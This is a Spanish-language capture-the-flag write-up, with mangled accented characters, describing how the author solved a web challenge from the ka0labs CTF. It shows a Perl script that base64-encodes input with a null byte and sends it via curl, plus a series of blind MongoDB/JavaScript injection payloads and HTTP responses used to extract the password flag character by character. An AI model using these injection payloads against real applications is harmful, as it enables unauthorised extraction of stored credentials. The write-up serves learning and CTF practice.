Ha sido un fin de semana muy intenso. Antes de nada dar la enhorabuena a los chicos de Insanity – @ka0labs聽por el 聽CTF, ya que ha sido muy entretenido.
Como no tom茅 apuntes de las cosas que fui haciendo, me toca pasarme los retos de nuevo para podr escribir el solucionario 馃檪 as铆 que ir茅 escribiendo el write-up poco a poco. Aqu铆 va c贸mo resolv铆 el primer reto de web.
Tras acceder a la web del reto vemos la siguiente web:

Editando el c贸digo fuente, vemos聽lo que parece una pista, pero que s贸lo es para despistar:
<!-- It's nice to design listening to your favourite song :)) https://youtu.be/UbA8TFYY-KY?t=4m54s -->
Nos聽llama la atenci贸n ver la forma como se generan las im谩genes:
<img src="/avatar/Q2FjdHVz">
<img src="/avatar/UGV0YWxv">
<img src="/avatar/QnVyYnVqYQ==">
Si ponemos cualquier cosa en avatar vemos que aparece:

Si escribimos por ejemplo una comilla en base64:
Para probar de manera m谩s sencilla us茅 el siguiente script:
#!/usr/bin/perl use MIME::Base64; my $word = $ARGV[0]; my $b64 = encode_base64($word); exec "curl -I http://challenges.ka0labs.org:31337/avatar/".$b64;
Y as铆 analizamos mejor las respuestas:
$ perl web1.pl "Burbuja" HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 10:38:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 39 Connection: keep-alive Location: /imgs/burbuja.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
$ perl web1.pl "Burbuja'" HTTP/1.1 400 Bad Request Server: nginx Date: Sun, 02 Oct 2016 11:04:32 GMT Content-Type: image/gif Content-Length: 400305 Connection: keep-alive Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Fri, 15 Aug 2014 14:14:33 GMT ETag: W/"61bb1-147da051928"
Como suponemos que es un MongoDB, por la descripci贸n del reto, intentamos ejecutar diferentes inyecciones:
$ perl web1.pl "Burbuja||'1'='1" HTTP/1.1 400 Bad Request Server: nginx Date: Sun, 02 Oct 2016 11:06:54 GMT Content-Type: image/gif Content-Length: 400305 Connection: keep-alive Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Fri, 15 Aug 2014 14:14:33 GMT ETag: W/"61bb1-147da051928"
$ perl web1.pl 'Burbuja||"1"="1' HTTP/1.1 500 Internal Server Error Server: nginx Date: Sun, 02 Oct 2016 11:07:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 20 Connection: keep-alive ETag: W/"14-T/08Zi7QtXFVEDkd9P0Srw"
Se puede ver que seg煤n lo que metamos nos da diferentes resultados, en este caso errores, por lo que suponemos que no filtra bien lo que introducimos, aunque no llegamos a sacar una respuesta v谩lida de esta forma.
Si probamos a inyectar un byte nulo al final, vemos que ya s铆 conseguimos sacar cosas en claro. Para ello modificamos el script:
#!/usr/bin/perl use String::HexConvert ':all'; use MIME::Base64; my $word = $ARGV[0]; my $hex = ascii_to_hex($word)."00"; my $word = hex_to_ascii($hex); my $b64 = encode_base64($word); exec "curl -I http://challenges.ka0labs.org:31337/avatar/".$b64;
Y vemos que funciona:
$ perl web1.pl 'Burbuja"' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 11:12:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 39 Connection: keep-alive Location: /imgs/burbuja.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
As铆 que toca probar cosas:
$ perl web1.pl 'Burbuja";1==1' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 11:15:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 36 Connection: keep-alive Location: /imgs/mojo.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
$ perl web1.pl 'Burbuja";1==0' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 11:15:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 37 Connection: keep-alive Location: /imgs/undefined Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
Finalmente, tras varias pruebas, vemos que tenemos un blind injection:
$ perl web1.pl 'Burbuja"||1==0' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 11:17:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 39 Connection: keep-alive Location: /imgs/burbuja.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
$ perl web1.pl 'Burbuja"||1==1' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 11:17:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 36 Connection: keep-alive Location: /imgs/mojo.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
Si la petici贸n es v谩lida nos carga la imagen mojo.png y si no, carga burbuja.png.
Llegados a este punto, me encontr茅 algo bloqueado porque la verdad es que no tengo ni idea de MongoDB. As铆 que tras buscar en Google, la web https://pentesterlab.com/exercises/web_for_pentester_II/course me dio una idea de por d贸nde seguir:
$ perl web1.pl 'Burbuja"||this.password.match(/./)' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 11:54:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 36 Connection: keep-alive Location: /imgs/mojo.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
Vemos que nos devuelve mojo.png, por lo que la petici贸n es correcta. As铆 que seguimos por ese camino a ver si sacamos la flag. Para ello fui probando a mano combinaciones y acotando el resultado.
$ perl web1.pl 'Burbuja"||this.password.match(/^bubbles{[A-Z].*}$/)'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:57:59 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
Cuando iba por la mitad me empez贸 a dar errores, la verdad es que no s茅 por qu茅, pero cambi茅 la forma de inyectar para poder continuar:
$ perl web1.pl 'Burbuja"||this.password[14]>"a"' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 12:01:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 36 Connection: keep-alive Location: /imgs/mojo.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
$ perl web1.pl 'Burbuja"||this.password[14]=="u"' HTTP/1.1 302 Found Server: nginx Date: Sun, 02 Oct 2016 12:01:48 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 36 Connection: keep-alive Location: /imgs/mojo.png Vary: Accept X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block max_ranges: 0
Hasta que finalmente sali贸 el flag para pasar el reto: bubbles{Ih4t3Sup3RG1rrrlz}


Follow